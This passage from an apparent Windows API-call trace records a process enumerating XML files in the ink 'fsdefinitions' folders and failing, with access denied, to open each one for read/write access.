ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0163.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.604] GetLastError () returned 0x5 [0163.604] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0163.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.604] GetLastError () returned 0x5 [0163.604] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0163.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.605] GetLastError () returned 0x5 [0163.605] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0163.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.605] GetLastError () returned 0x5 [0163.605] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0163.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.606] GetLastError () returned 0x5 [0163.606] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0163.606] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0163.606] GetProcessHeap () returned 0x990000 [0163.607] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9e3ce0 | out: hHeap=0x990000) returned 1 [0163.607] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0163.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.607] GetLastError () returned 0x5 [0163.607] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0163.607] GetProcessHeap () returned 0x990000 [0163.607] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa2) returned 0x9b2468 [0163.607] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0163.607] GetProcessHeap () returned 0x990000 [0163.607] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.607] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.607] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0163.607] GetProcessHeap () returned 0x990000 [0163.607] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2a4) returned 0x9e3ce0 [0163.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.608] GetLastError () returned 0x5 [0163.608] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0163.608] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0163.608] GetProcessHeap () returned 0x990000 [0163.608] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9e3ce0 | out: hHeap=0x990000) returned 1 [0163.608] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0163.608] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.609] GetLastError () returned 0x5 [0163.609] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0163.609] GetProcessHeap () returned 0x990000 [0163.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa2) returned 0x9b2468 [0163.609] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0163.610] GetProcessHeap () returned 0x990000 [0163.610] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.610] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.610] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0163.610] GetProcessHeap () returned 0x990000 [0163.610] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2a4) returned 0x9e3ce0 [0163.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.611] GetLastError () returned 0x5 [0163.611] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0163.611] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0163.611] GetProcessHeap () returned 0x990000 [0163.611] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9e3ce0 | out: hHeap=0x990000) returned 1 [0163.611] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0163.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.612] GetLastError () returned 0x5 [0163.612] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0163.612] GetProcessHeap () returned 0x990000 [0163.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa6) returned 0x9b2468 [0163.612] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0163.612] GetProcessHeap () returned 0x990000 [0163.612] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.612] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.612] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0163.612] GetProcessHeap () returned 0x990000 [0163.612] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2a8) returned 0x9e3ce0 [0163.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.612] GetLastError () returned 0x5 [0163.613] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0163.613] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0163.613] GetProcessHeap () returned 0x990000 [0163.613] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9e3ce0 | out: hHeap=0x990000) returned 1 [0163.613] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0163.613] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.614] GetLastError () returned 0x5 [0163.614] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0163.614] GetProcessHeap () returned 0x990000 [0163.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa2) returned 0x9b2468 [0163.614] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0163.614] GetProcessHeap () returned 0x990000 [0163.614] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.614] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.614] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0163.614] GetProcessHeap () returned 0x990000 [0163.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2a4) returned 0x9e3ce0 [0163.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.615] GetLastError () returned 0x5 [0163.615] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0163.615] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0163.616] GetProcessHeap () returned 0x990000 [0163.616] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9e3ce0 | out: hHeap=0x990000) returned 1 [0163.616] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0163.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.616] GetLastError () returned 0x5 [0163.616] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 